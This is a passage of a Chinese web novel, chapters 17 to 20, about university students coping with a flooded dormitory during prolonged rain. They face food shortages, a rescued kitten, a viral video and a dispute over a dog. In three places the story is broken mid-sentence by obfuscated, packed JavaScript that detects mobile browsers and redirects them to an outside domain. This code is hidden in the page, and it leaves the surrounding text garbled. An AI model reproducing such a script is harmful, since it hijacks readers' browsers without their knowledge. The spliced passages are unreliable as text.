现在虽然也有很多问题，但大家至少还有片能遮风挡雨的地方，也有饭吃。 她关掉视频软件，打开了游戏，但游戏还没加载完，方庆的消息就从屏幕上方跳了出来。 【方庆：学妹，今天晚上我在一栋的医务室值班，你们寝室需要热水和姜茶吗？】 【方庆：我师弟说下午一栋又有很多女生病了，你多注意点，买饭的时候记得戴口罩，别被她们传染了。】 【方庆：学妹，你室友的病怎么样了？烧退了吗？】 看到方庆的消息，秦小薇忍不住皱了皱眉头，又有很多人病了？ 她关掉游戏，翻了下被她屏蔽的群消息，果然，不少白天去当了志愿者的女生病了，在群里求退烧药。昨天半夜导员挨个寝室给发烧的学生送退烧药，大家的药基本上都没吃完，互相匀一匀，今天还是够用的。 秦小薇觉得，这些志愿者就像是一次性的，出去一趟，回来就损坏了，要生病吃药修补。 学校就不能给志愿者准备点更好的装备吗？就像李师傅身上那套，虽然累赘了一点，会影响活动，但至少不会淋雨生病啊！ 这么大的雨，就给一件帽檐那么窄的雨衣，能挡住什么？ 像这样出去一批病倒一批，就算大学生这个群体再单纯再热血，也会退缩的。 因为宿舍楼的学生太多，401的开水不够分，和晚饭一样，开水也开始限量了，每人一次只能接500ML的热水或是姜茶。 三个室友的病都快好了，那500ML开水兑点凉水，也够喝了，秦小薇便婉拒了方庆的好意。 “薇薇，你的电脑上是不是有剪辑软件？能不能借我用一下？”范槿的声音让沉浸在游戏中的秦小薇抬起头来。 “有，你等下……”秦小薇启动了已经关机的笔记本。 她现在用的这台笔记本是原主买的，原主有一份兼职是在网上接单剪辑视频，买的笔记本配置还不错，她拿来打游戏也很流畅，就一直没换。 剪辑软件原主之前花钱买了终身会员，因为花了钱，秦小薇一直没删，虽然她一直没打开过…… “你要剪视频吗？”秦小薇把输了开机密码的笔记本递给范槿。 范槿点头：“昨天咱们开阳台门的时候我拍了视频，下午我当志愿者的时候也拍了很多照片，我想加点字幕发网上去……我笔记本电池坏了，不插电用不了，借你的用下……” “那你加油！”秦小薇冲着她握拳，做了个加油的手势。 范槿大一的时候，就在网上开了一个账号，记录自己的大学生活，经营了几年，这个账号也有一万多粉丝了，之前还接到过几次广告，她对更新视频向来很有热情。 秦小薇前两年刚开始摆摊的时候，范槿还搞吃播帮她引流……虽然直播只有十几个观众，并没有引起什么水花。 17. 第 17 章 秦小薇电脑里的剪辑软件和范槿常用的是同一款，她用得非常顺手，很快就加好了字幕。 范槿：“我把视频发群里了，你们帮我看看，有没有什么问题。” 秦小薇：“好，等我打完这一局……” 视频主要记录了她们处理阳台进水问题的全过程，范槿配了音乐和字幕，后面还给了些建议，告诉观众该怎么避免阳台积水…… “你好，请问你们寝室有适合小奶猫的食物吗？”寝室半掩着的门被推开，一个打着手电筒的女生出现在1206门口，吓了四人一跳。 是裴欣的室友，早上秦小薇还和她一起想办法让那只拉布拉多放弃塑料餐盒回寝室来着。 “你要小奶猫的食物干什么？”坐在门口的范槿好奇地问道。 “香肠救了一只小奶猫回来，特别可怜，可能是饿了，我想给它弄点吃的……”女孩解释道。 虽然秦小薇不养猫，但她很喜欢毛茸茸，闻言立刻去翻自己带回寝室的零食：“火腿肠可以吗？我这里还有饼干和麦片，用牛奶泡软了应该可以喂猫吧？” 女孩还没回答，段霞就给了否定的答案：“不行，猫不能喝牛奶，火腿肠里面有盐和添加剂，也不适合幼猫的肠胃……隔壁寝的郑黄有喂流浪猫的习惯，她们寝室应该有猫粮，我陪你去问问……” 说着，段霞就起身朝门外走去。 “我也去！”肖琳琳也跟了上去。 寝室里没什么娱乐活动，碰到了新鲜事大家都想掺和一脚，最后，1206的四个人是一起出门的。 她们学校里有不少流浪猫，在学校里待久了，这些猫一点都不怕生，碰到了人还会“碰瓷”要吃的，给了吃的，就任撸任抱，宿舍楼有女生会特地买猫粮，每天下楼投喂流浪猫。 宿舍楼下也时常能看到学生专门给流浪猫搭的猫窝。 暴雨这两天，很多爱猫人士都很担心楼下的流浪猫，白天还有人专门带着猫粮去一二楼“诱猫”。 1214的郑黄就是其中一员，连续两天都没看到那些熟悉的身影，郑黄有些焦躁，听说拉布拉多救回来了一只小奶猫，她二话不说，立刻抱着自己之前买的猫粮、猫罐头跟着她们一起出门了。 她的几个室友闲着无聊，也跟着凑了个热闹。 裴欣还在男寝没回来，她们寝室就只有她养的那只拉布拉多和她的三个室友。 秦小薇注意到，拉布拉多光是狗窝就有三个，各种玩具更是数不胜数，裴欣的桌子上堆满了狗狗的各种东西。 看桌上的东西，裴欣应该很喜欢这只拉布拉多。 拉布拉多盘成一个“C”窝在自己的狗窝里，怀里圈着一只小奶猫，它的爪子搭在小奶猫身上，时不时用舌头舔一下小奶猫，画面十分友爱。 秦小薇忽然觉得，如果忽略拉布拉猪在走廊翻垃圾和晚上乱叫的行为，这只狗还是挺可爱的…… 小奶猫是只鸳鸯眼的小狸花，四只爪子雪白雪白的，肉垫粉嘟嘟的，它半睁着眼睛躺在狗窝里，浑身湿漉漉的，叫声细细弱弱，看起来漂亮又可怜。 看到这么一只瘦弱可怜的小奶猫，屋里一群女生只觉得心都要化了。 “是只踏雪寻梅！它是不是病了？” “它妈妈呢？拉布拉多有没有带回来其他小奶猫？” “你们寝室有温水吗？我去泡点猫粮……” “猫是我牵着香肠出去上厕所的时候它自己捡的，在三楼一间空寝室的桌子底下发现的，它妈妈死了，香肠捡到它的时候它妈妈就在边上，身体都硬了，是只大橘……” “没看到其他小奶猫，可能淹死了……我带它回来的时候它的毛还在滴水，我用毛巾擦了好几遍才勉强弄干一点，我怕它冷，隔着毛巾在狗窝里放了一张暖宝宝……” 听到小奶猫凄惨的“身世”，在场的女生对它更加怜爱了。 郑黄用温水泡软了猫粮喂它，但小奶猫只舔了几口就不吃了，反而是它身边的拉布拉多，胃口特别好，见小奶猫不吃猫粮，用舌头一卷，两口就把泡软的猫粮吃光了。 看到拉布拉猪抢猫粮的行为，秦小薇又觉得它不可爱了…… “它是不是病了，我看它喘得好厉害？医学院有兽医专业吗？要不找个兽医问问？” “咱们学校好像没有兽医专业，去401问问吧！都是治病的，应该没什么区别……” “给人看病和给猫看病怎么能相提并论？用的药都不一样？” “……” 一屋子女生叽叽喳喳地讨论了十来分钟，最后还是决定带着猫去401找医学院的研究生学长求助——小奶猫状态太差了，大家都担心它熬不过去。 她们抱走小奶猫的时候，拉布拉多也跟了上来，它亦步亦趋地跟在抱着小奶猫的郑黄身后，似乎在担心小奶猫…… 401门口的纸箱已经被搬走了，屋里也收拾得有模有样，值班的医学生还弄了个检查床出来，书柜上的药品摆得整整齐齐，看起来很有医疗室的感觉。 一群人走进401，方庆一眼就看到了人群中最高的秦小薇，立刻走过来问她：“学妹，你怎么来了？” 顿时，屋里的人都看向秦小薇，她轻咳一声，指了下郑黄怀里用毛巾包着的小奶猫：“我们捡了一只小奶猫，它一直不吃东西，我们想找你看看，它是不是病了……” 她说话的时候，郑黄把毛巾放到了书桌上，让两个医学生检查。 十几个学妹来找他们给小奶猫看病，两个还没持证上岗的医学生有些麻爪。 “学妹，你们等等，我问问我学兽医的同学……”另一个学长最先冷静下来，拿出手机开始联系自己的朋友求助。 折腾一番后，两人手忙脚乱地用注射器给小奶猫喂了些药，方庆主动提出把小奶猫留下来，让他们照顾，考虑到小奶猫的状态确实很差，她们又没有照顾小奶猫的经验，众人没有犹豫，直接答应了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043613|162660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郑黄还留了半袋猫粮在401。 见小奶猫的事暂时解决了，秦小薇也跟着大家一起回了寝室。 秦小薇刚坐下，范槿的手臂就搭上了她的肩膀，她冲着她挤眼睛，语气揶揄：“薇薇，那个瘦瘦的学长是不是喜欢你？我看他眼珠子一直黏在你身上，走的时候还问你要不要开水？我赌一根黄瓜，他想追你！我看他人还不错，你也单身很久了，要不要考虑下？” 秦小薇把她的胳膊从自己肩膀上拿了下来，冲着她翻了个白眼：“范小槿同学，男生追女生的原因不一定是喜欢，可能是因为无聊、想找点事干；也可能是广撒网捞鱼；还有可能就是单纯看你长得漂亮，见色起意，觉得追到了有面子……所以不用太把他们当回事，徒增烦恼。” 范槿：“不可能吧！薇薇，你把人心想得太坏了！” “是你太单纯了，不了解男人！”秦小薇扶着她的肩膀，推着她回到自己的座位上坐下，“你的视频剪得很不错，可以发布了！我就不陪你们熬夜了，先去睡了！” 因为雨势变小了，阳台的积水几乎可以忽略不计，1206半夜不用再安排人起来拧拖把，秦小薇这一觉睡得还算安稳。 起床后，她照例先进了趟空间，进空间后，她非常惊喜地发现，机场出了持续三天的双倍经验和双倍金币的活动。 穿越前，《快乐农场》的经验来源非常多，钓鱼、日常种植、工坊生产、购买装饰……都可以拿到经验和金币。 因为经验来源广泛，游戏升级也快。 但她穿越后，经验就只有两种获得途径：购买基础建筑和完成机场的订单。 基础建筑前期升一级解锁好几栋，后期则是升好几级解锁一栋，所以日常升级的经验来源主要是机场。 机场每天零点刷新订单，每天会刷新出十张新订单，提交订单上的货物后，就能获得数量不等的金币和经验，机场算是农场空间最重要的建筑之一。 有些订单需要的货物量很大，秦小薇平时都是挑着做的，完不成的订单就放着等第二天刷新。但双倍经验和双倍金币活动期间，她一般不会挑，会努力肝完十张订单。 她打开仓库看了下，玉米、牛奶和鱼肉存量充足，刚好可以完成三张订单，她先提交了三张订单，之后又去猎人小屋拿了纸笔，重新回到机场大厅，统计了剩下的七张订单需要的货物，再减去仓库里的库存，算出今天需要生产的货物…… 秦小薇对各个工坊里每样东西的生产时间都很熟悉，很快就安排好了今天的生产计划。 甘蔗差得有点多，上午先种甘蔗，晚上再种草莓…… 还差一点经验，就能升22级了，到时候就能建养猪场买猪崽了，金币好像还缺点，要不把仓库里的东西卖掉一些？不知道这个月还有没有其他可以薅金币的活动…… 她脑子里想着些有的没的，人却坐上了卡通四轮车，飞快在工坊里转了一圈，给黑土地和工坊安排好了生产任务。 18. 第 18 章 外面的雨又变大了，堵在阳台门口的拖把和旧衣服已经吸满了水，水迹有向室内扩散的趋势，秦小薇拧干了拖把和旧衣服里的水，把洗脸台附近的水迹用拖把打扫干净，才开始洗漱。 刷牙的时候，她拉开阳台的门朝外面看了一眼，雨又变大了，阳台上方又多了一道“水帘”，阳台又开始积水了，楼下的水位和昨天傍晚的时候差不多，在一楼和二楼中间的样子，似乎没有上涨也没有下落。 秦小薇不确定今天早餐的售卖形式，她也不想帮阿姨搬箱子，她特意等到了七点一十才下去买早饭。 和昨天的中饭晚饭一样，食堂的人划了船过来，在二楼走廊尽头的窗口外面卖饭。 随着水位的上升，积水从一楼楼梯间漫进了二楼楼道，好在积水并不深，学生们现在还能从二楼走廊尽头的窗户口买饭。 早饭不像昨天中午和晚上的盒饭，并不限量，秦小薇不知道是食堂的存粮危机解决了，还是只有早饭是特殊的，她干脆一口气买了三份早餐。 打算留两份晚上吃。 毕竟昨天的中饭和晚饭实在是太少了，还要排很久的队才能买到。 秦小薇记得凌晨两点多迷迷糊糊睡醒的时候，三个室友都还没睡，她不确定她们今天吃不吃早饭，中途打了个电话问她们需不需要带早饭，三个夜猫子都表示，她们上午要补觉，吃饭的事等她们睡醒了再说…… 她把多余的两份早餐送回了寝室，才去楼下找李师傅。 李师傅住的寝室很热闹，里面除了他还有两个陌生的中年男人和两个男同学，见秦小薇来了，李师傅热情地冲着她招手：“秦同学，你先等会，等周同学来了，我们再开工。” “好。”秦小薇冲着李师傅笑了笑，找了个角落站着。 三个师傅散坐在寝室里，手里点着烟，一边吞云吐雾，一边聊着些乱七八糟的事，暴雨、工作、家庭、孩子…… 另外两个男生凑在一起小声说着些什么，秦小薇不认识他们，就没加入他们的话题，只站在边上玩手机。 隔壁Z省也开始下暴雨了，可能是因为有了Q省的先例，那边的情况比宁市好许多，看官方发布的新闻，他们甚至不用民间另外组织志愿者队伍救援…… 秦小薇只刷了一会新闻，周蓝就来了，人到齐之后，他们就出发了。 他们就只有一台发电机，所以三个师傅今天要在同一层楼干活，队伍里有五个男人，今天搬发电机的活倒是轮不到秦小薇和周蓝了，她俩只要拿着三本登记本帮忙登记就行了。 登记的活也简单，她们填好信息，再分别找寝室长签字就行了，一个人就能包圆。 要干的活太少了，四人稍微熟悉了一点就开始聊天，男寝那边的情况和女寝这边差不多，暴雨后生活中也有很多不方便。 两个男生是因为没电了待在寝室太无聊才来帮忙的，据说他们几个寝室还因为这两个名额比了一场…… 秦小薇和周蓝都不太理解，这种事为什么要抢。 十点多的时候，今天新来的两个师傅发现秦小薇和周蓝没什么事干，就让她们两个女生回去了，秦小薇没有推辞，顺势答应了。 她回寝室的时候，三个室友还在睡，秦小薇没打扰她们，进空间收了波东西，外加解决生理问题后才出来坐在椅子上玩手机。 十二点多的时候，室友们终于睡醒了，秦小薇等她们醒了，才开始吃早上多买的早饭。 吃完午饭，她准备睡个午觉，刚爬到床上，就见三个室友空着手回来了。 “你们怎么空手回来了？没买到饭吗？”秦小薇看了下时间，十二点四十，距离午饭供应结束还有二十分钟。 范槿点头，表情有些丧气：“卖完了，船都开走了。” 肖琳琳揉了下“咕咕”叫的肚子：“早起的鸟儿有虫吃，我们几个起晚了，连午饭都捞不上……早知道早上就让薇薇你帮我带早餐了！” 范槿：“我觉得我们要调整作息，不能再熬夜！我决定了，今天晚上十二点半，不，十一点就睡！薇薇，你监督我……” 秦小薇摇头：“那我可监督不了你，晚上没事的话，我可能九点就睡了！” “九点也太早了……唉！早起计划还没开始就要失败了。”范槿长叹一口气。 秦小薇被她脸上忧郁的小表情逗笑，她指了下自己的桌子：“我那还有两根玉米，要不你们三个分分？” 范槿：“不用，我还有很多泡面，我去楼下弄点热水泡面吃……” 没过多久，三人就端着泡面碗回来了，寝室的空气很快被泡面的香气占据。 一包泡面不顶饱，她们吃完泡面，又开始吃水果小零食…… 秦小薇原本是吃饱了的，但是闻着泡面的味道，听着室友撕包装袋的声音，想到那些小零食的味道，她嘴里不自觉地开始分泌口水…… 她叹了口气，决定顺从本心，下床啃两根水果黄瓜解馋。 下午的时候，三个室友早早就下去买饭了，她们这回成功买到了盒饭，但盒饭里的肉少得可怜，她们买的明明是一荤一花荤一素的盒饭，但盒饭里的肉加起来只比指甲盖大一点，剩下的菜不是土豆就是白菜。 范槿看着清汤寡水的盒饭叹了口气：“真难吃啊！食堂的水平也下降得太多了……” 段霞安慰她：“再忍几天，等雨停了就能出去吃大餐了！” 肖琳琳：“明天我还是买三块五的盒饭吧！这点肉沫不值得我多花一块五！” 可能是已经有些习惯了，对秦小薇来说，暴雨第三天，就像是某个课程安排很少的工作日，很快就过去了。 除了……发电机和电钻的声音有点吵，让她午觉没睡好；因为要肝机场订单，进空间的次数频繁了一点，被室友关心是不是尿频。 下午的时候，师傅来了她们寝室，用电钻把阳台侧面的排水孔拓宽了不少，阳台的水位一下子就下去了，之后她们也不用再把旧衣服和拖把堵在门口吸水了。 第一天的时候，秦小薇以为下暴雨这九天，她们寝室半夜都要安排人起来拧拖把，没想到这才第三天，阳台积水的问题就彻底解决了。 暴雨第四天，秦小薇像前一天一样，六点半被生物钟叫醒，先进空间，再下床洗漱，买早餐…… 楼下的水位又涨了，现在站在二楼走廊里，小腿以下都泡在水里，之前学生们留在二楼厕所里的排泄物都混在积水中，走廊里弥漫着一股浓烈的骚臭味，水面上还漂浮着一些黄黄的东西和用过的纸巾。 眼前的画面和气味都很恶心，有些爱干净的女生有点受不了，看了一眼就回了寝室，没回去的女生也都换了防水的长筒雨靴，还在靴子外面套了塑料袋防水，她们站在二楼和三楼的楼道口等船来，并没有下水。 秦小薇站在楼道口犹豫了一会，折回去换了双防水的长靴，她不仅把自己从脚踝到大腿都用保鲜膜包了起来，还学着其他人的样子在长靴外面套了好几层垃圾袋防水。 确定了自己脚上这套装备不会“漏水”，她才重新下楼。 待会多买几份早餐！明天就不来了！这个天气，包子放一天应该不会变质…… 这双鞋就这几天穿，等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她快步离开二楼走廊，小心翼翼地拆下鞋子外面套着的塑料袋和保鲜膜，随手扔在楼道里堆垃圾的地方。 还好，她套的垃圾袋层数比较多，鞋子没被弄脏，就算是这样，秦小薇依旧觉得自己快要被二楼气味浓烈的积水腌入味了。 上到十二楼，摘了口罩，她鼻尖隐约还能闻到那股味道…… 秦小薇忽然就有些后悔下楼买早饭，以后买饭还是随缘吧！反正她回寝室的时候带了半行李箱吃的，寝室里水果泡面零食饮料一样不缺，空间里的工坊也一直没停工……没必要没苦硬吃受这种罪！ 回寝室后，她先换了外套鞋子，才准备吃早饭。 她洗了圣女果和水果黄瓜，见室友都在睡觉，秦小薇还从空间里“偷渡”了一袋面包出来当早饭…… 吃早饭的时候，秦小薇打开了手机，年级群里都在讨论早餐供应时间变短的事。 其实这事昨天就有苗头了，但昨天的中饭和晚饭只提前了半个多小时结束供应，学生们现在待在寝室没事干，基本上到点了就会下去吃饭，所以昨天并没有多少人没买到盒饭。 但今天早餐的供应时间实在是太短了，再加上涨水，二楼的环境一下子变得特别差，尤其是那些鼓起勇气下水却没买到饭的学生，情绪异常愤怒。 很多人都在猜测食堂是不是又把粮食拿去救灾了，还是这两天救回来的人太多，食堂储存的食物不够吃，要继续削减学生的口粮…… 秦小薇的想法和大家差不多，以为是食堂的存粮不够吃了。 辅导员的工作一如既往地高效，没过多久，就在群里给出了解释，原因却和他们猜测的完全不一样。 19. 第 19 章 【辅导员－赵琪：今天有很多同学反映食堂早餐供应时间严重缩短的问题，院学生会了解情况后第一时间联系了食堂负责人，得到的回复是食堂目前存粮并不紧张，但由于大批量学生退出志愿者队伍、教学楼内做饭不方便、需要供应的餐点数量变多等问题，食堂的人手严重短缺，分不出太多人手来宿舍楼送餐，只能减少每栋宿舍楼的供餐时间。】 【辅导员－赵琪：图片.jpg】 【辅导员－赵琪：照片里是食堂今天早上没卖完的早饭。】 【辅导员－赵琪：希望大家能踊跃报名当志愿者，为同学们解决物资运送问题，想报名的同学可以直接联系各班班委。】 辅导员的消息发出来后，群里原本还在表达不满的学生一下子哑火了。 今天是暴雨的第四天，从第一天开始，每天都有志愿者在群里求药，刚开始是退烧药，昨晚已经有人开始求感冒药了。 虽然并不是所有志愿者回来后都会生病，但在大家心里，当志愿者已经和大病一场划上等号了。 想到了要去当志愿者才有饭吃，秦小薇忽然就觉得，自己也不是那么爱吃米饭，就剩五天半了，吃点零食她也能凑合下去！ 没过多久，辅导员又在群里公布了当志愿者的“福利”，比如包饭，饭菜随便吃，红糖姜茶免费喝，办公楼那边在用发电机发电，去那边当志愿者还可以免费充电等等。 不得不说，最后一条免费充电让部分学生有些心动，今天是暴雨第四天，有些重度网瘾的学生手里的电子产品已经罢工了。 秦小薇没再管群里的消息，关掉聊天软件继续打游戏。 三个室友昨天睡得比较“早”，今天十点多就醒了。 吃货范槿还没下床就关心起今天的午饭：“薇薇，你给我带了什么早饭……不是，中饭？” 秦小薇摇头：“今天没买到早饭，排了一个小时队，快轮到我的时候阿姨开船走了……你看群消息吧！” 范槿冲着她摊了摊手：“你详细和我说说……我手机前天就没电了，昨天晚上阿霞充电宝里的电也被我用完了，所以……我和阿霞现在都是断网的状态。” 秦小薇便复述了一遍事情的详细经过。 范槿的关注点有点偏：“去当志愿者真的能充电？” 秦小薇对她这种为了上网不要命的想法十分无语：“你忘了自己发烧的时候有多难受了？你感冒都还没完全好呢……导员送来的那盒退烧药就剩一粒了！” 昨天男寝那边有几个人发烧了没药，辅导员在群里鼓励大家互相帮助，因为是关系还不错的同班同学，她们寝室就贡献了一部分退烧药和感冒药，退烧药就只留了四粒应急。 在她们说话的时候，其余两个室友也醒了，其余两人也劝范槿：“饭饭，再忍几天，那点电不值得你再发一次烧。” 范槿吐了吐舌头，没再多说什么。 四人午餐吃的都是泡面。 吃完饭后，范槿冲着秦小薇露出一个讨好的笑：“薇薇，能不能借你的手机用一下？昨天视频发出去之后，我还没来得及看粉丝的反馈！” 因为前天的视频收到了不少赞，昨天师傅来她们寝室钻孔的时候，她又拍了个视频，更新到自己的主页上。 “行！”秦小薇关注了范槿的视频账号，她直接打开了她的主页，“咦，已经有五万赞了，评论也有好几千，饭饭，你是不是要火了……” “真的吗？”范槿兴奋地把脑袋凑了过来，她坚持拍视频好几年了，最“火”的一条视频也就一万多赞。 她就着秦小薇的手，点开了最新视频，和她一起翻看评论区。 评论区基本上都是学生，大部分人都碰到了寝室进水的问题。 预警短信发出来之后，火车票和飞机票变得非常难买，就连高速都开始堵车，大学生基本上来自五湖四海，有些学校担心放学生回家他们会堵在路上出事，干脆把学生都留在学校里。 像他们Q大，暴雨期间，学生想回家得让家长写保证书、发视频，辅导员还得确认外地学生的车票情况…… 有些学校阳台的构造和他们学校不一样，侧面没有排水管，但阳台是金属围栏，最下面是一截水泥，被水泥围着的那一部分水怎么都流不出去，学生们手动用杯子、盆往外泼水；还有些学校没有阳台，只有几扇很大的窗户，水是从窗户缝流进寝室的…… 评论区有些是在求助，大部分则是在感叹，Q大的办事效率高，这么快就解决了阳台积水的问题。 从没一次性收到过这么多回复，范槿看得津津有味。 范槿：“薇薇，你的手机能不能借我回复几条消息，我回完就还给你！我保证不用太久……” 她知道自己是个重度网瘾少女，昨天已经霍霍掉室友一个充电宝了，就没和秦小薇提借充电宝充电的事。 秦小薇拿出自己工作用的二手机，开机递给她：“你用这部手机回复吧！可以登自己的账号……” “薇薇，你太好了，MUA~”范槿给她抛了一个飞吻。 没过多久，范槿就把手机递了回来：“薇薇，你的手机一直有消息弹出来，你要不要回复一下？” 秦小薇接过手机看了一眼，是经理在群里@大家，让他们假期也别忘了联系亲朋好友推销纪念币和理财产品，创造业绩。 她直接退出聊天软件：“不用管，我现在的人设是一个手机没电被困学校寝室的断网女大学生，收不到领导的消息……” 看到她摆烂的态度，范槿有些惊讶：“你不怕上司不高兴吗？” 秦小薇摆了摆手，无所谓道：“他喜欢生气就生气呗，只要生气乳腺增生的不是我就行了……” 她又不想转正，那么点工资，也就能买她工作日在银行的时间了。 “你牛！”范槿冲着她比了个大拇指。 “薇薇，你看这个，这个人好厉害啊！竟然用竹管搭架子把家里的水引出去了……”范槿向寝室里几人展示评论区的live图。 屏幕里，制作者只用了几根弯曲的竹管，就把开放阳台的水引出去了，不像评论区其他人一样拿着脸盆一盆盆往外面舀，确实很方便。 “这人物理肯定学得很好！”秦小薇感叹了一句。 “高手在民间啊！”段霞也很佩服他的想法。 —— 晚上那顿，范槿她们原本是想早点下去排队买饭的，但是下楼看到二楼楼道里面的场景后，三人都被劝退了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044480|162660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>白天下了一天的雨，二楼走廊里的积水已经涨到大腿了，但卖饭的船依旧停在二楼走廊尽头的窗户里。 早上秦小薇在靴子外面多套几层垃圾袋还能防水，现在就算穿着高帮的防水雨靴，那些浸泡着排泄物的污水也会把大家的裤子、鞋子、袜子都弄湿。 等她们买完饭回来，估计身上都要被腌入味了。 况且现在还不能洗热水澡…… 就算是不爱干净的男生，在一顿不吃和为了一顿吃不饱的盒饭被粪水腌透之间，也会选择前者。 寝室住了这么多人，校领导不会放任学生继续吃不饱肚子的，按照这几天学校处理突发情况的速度，最多两天，事情肯定能解决！ 毕竟大家都提前囤了食物，一两天不吃盒饭也不会挨饿。 包括秦小薇在内，所有人都觉得校方会很快给出解决方案。 秦小薇晚上吃的是蛋糕和水果，其余三位室友则是泡面加各种小零食，女生寝室不少人都在吃泡面，走廊里几乎全是泡面的香气，连带着走廊里那些垃圾的臭味都被这股香气压下去了。 “你们看这个视频，我们学校有男生改造了自己的无人机，用无人机去教学楼买饭了！”肖琳琳的声音吸引了几人的注意。 秦小薇叼着个苹果，就走了过去。 肖琳琳正在看一个视频，视频的开始，是他们学校某个男寝，画面一转，无人机冲进了雨幕中，越飞越高，隔着重重雨幕，带着屏幕外的人俯瞰整个校区。 一眼望去，Q大老校区全是水，绿化带几乎看不到了，只有道路两旁那些百年古树还能从水中冒头…… 虽然停课了，但是教学楼依旧非常“热闹”，学生们上课用的桌子被拼凑成了睡觉的床，放东西的临时置物架……一间教室住了几十人，各种杂物堆得满地都是，看起来乱糟糟的。 相比之下，她们散落了不少垃圾的寝室楼道都显得干净整洁起来…… 刚开始，秦小薇还在关注无人机怎么取饭，但很快，她就被视频里的其他细节吸引了注意力。 “刚刚是不是有人在烧桌子取暖？”秦小薇忽然开口问道。 “啊，有吗？我看看……”肖琳琳把进度条往回挪了一点，还开了0.5倍速慢放。 秦小薇伸手按了暂停：“就是这里！” “真的唉！好像是在烤衣服，这个人是不是衣服湿了没有干衣服穿？” “那也不能拿教室的桌子当燃料吧？” “学校应该会让他们赔钱吧？” “……” 虽然她们觉得烧桌椅的行为不太对，但也没讨论太久，毕竟外面的雨实在是太大了，被雨淋湿了会生病，现在药品紧缺，他们烧桌椅烤衣服也是没办法…… 肖琳琳调整了播放速度，继续播放视频。 食堂阿姨看到无人机后非常惊讶，但她们看到无人机上用塑料袋包着的纸条后，还是把饭“卖”了出去，打包的阿姨还非常贴心地用塑料袋多包了几层防水。 “没想到无人机这么有用！早知道我也买一个！”范槿看着那一大包加了量的盒饭满脸羡慕。 段霞：“没必要哈！饭饭，以你的性格，肯定会忘记充电的。” 范槿：“……” 20. 第 20 章 看完了热闹，三人又回了自己的床位。 “汪呜——”1206的几人忽然听到了一阵狗叫。 因为手机没电，天黑之后范槿只能在自己的椅子上傻坐着，她觉得很无聊，听到声音后，她的八卦雷达瞬间启动，立刻打开寝室的房门，探头朝走廊看去。 暴雨这几天，裴欣她们寝室在这几层都出名了，当然，这“名”是恶名。 最开始的时候，是因为她带了一辆拉布拉多回来，大家都很好奇，纷纷跑过去围观。 学校校规规定了不能在寝室里养狗，有些学生就算养宠物，也是偷偷地养小型犬，几乎没人选择养拉布拉多这样的大型犬。 后来大家不喜欢她，是因为拉布拉多“事”太多了，门口经过了陌生人要叫，打雷受到了惊吓也要叫……她们寝室附近的女生都觉得很烦，有些比较敏感的女生，晚上被吵得根本睡不着。 暴雨第一天的时候，就有人因为这件事半夜和裴欣吵了一架。 拉布拉多还翻垃圾，把大家打包好的垃圾袋咬得乱七八糟，走廊里也因此变得又脏又臭，但裴欣跑去她男朋友那住了，大家想说理都找不到事主，只能憋着。 再后来，它救了一只小奶猫回来，不少人觉得新奇，还特地跑去401围观救回来的小奶猫…… 昨天晚上，裴欣终于回来了，一晚上，她们寝室去了无数人，都是去告拉布拉多的状的。 违反校规在寝室养大狗，还给同学造成了困扰，这本来就是裴欣的错，只要她滑跪道歉，管好狗，再把走廊的垃圾打扫一下……很多女生都对毛茸茸有天然的好感，大家也不会和一条狗计较。 但裴欣不知道为什么，昨天晚上和人说着说着就哭起来了，声音特别大，弄得好像过去“告状”的女生欺负她一样，弄得那个女生特别尴尬，附近看热闹的女生看不过去，就说了裴欣几句，然后……她们就打起来了。 最后还是导员来了，才把事情压下去，裴欣也被贴上了“不好相处”“事精”“绿茶”的标签…… 昨晚十分热闹，秦小薇也跟着大家一起看了会热闹。 这会听到狗叫，范槿的第一反应就是又有热闹可以看了，毕竟昨晚裴欣和人吵架的时候，拉布拉多没少在边上“助威”…… 走廊里黑黢黢的，应急灯因为长时间的停电早就不亮了，但走廊里的说话声却能清晰地传进1206四人的耳朵里。 “……香肠找你要吃的你不给不就行了，一直来找我，烦不烦啊？” 听到裴欣略有些暴躁的声音，1206的四个人都来了精神，秦小薇放下手机，她打开USB台灯，拆了一包瓜子，默默把椅子往门的方向挪了挪。 “吃瓜子吗？”其余三人点头，默默瓜分了瓜子，耳朵竖得老高。 秦小薇探头朝外面看了一眼，发现外面好几间寝室的门缝里都透出了光，看来大家都在偷偷吃瓜！ 去找裴欣的女生似乎是被她的态度气到了，忍不住怼道：“你怎么说话的呢！什么叫一直来找你？我今天第一次来好不好？你养的狗前天把我们寝室门口的垃圾袋咬破了，垃圾散得到处都是，我都没说什么，自己打扫了……今天它跑到我们寝室要吃的，我们不给，它就在我室友脚上尿尿，我室友怕狗，我才来找你的……” 秦小薇几人听了一会，大致明白了事情的经过。 像学校寝室这种地方，确实不适合养大狗，很容易造成同学之间的矛盾……尤其是现在特殊情况，狗不能放出去遛，多余的精力大概率会拿来拆家。 1206四个人的脑袋凑在一起，小声吐槽着。 段霞：“裴欣怎么这样啊！这事明明就是狗的错，她不道歉还这么嚣张……” 肖琳琳：“之前她来拿水果的时候，我还以为她是那种又害羞又腼腆的人，没想到……啧啧，人不可貌相啊！” 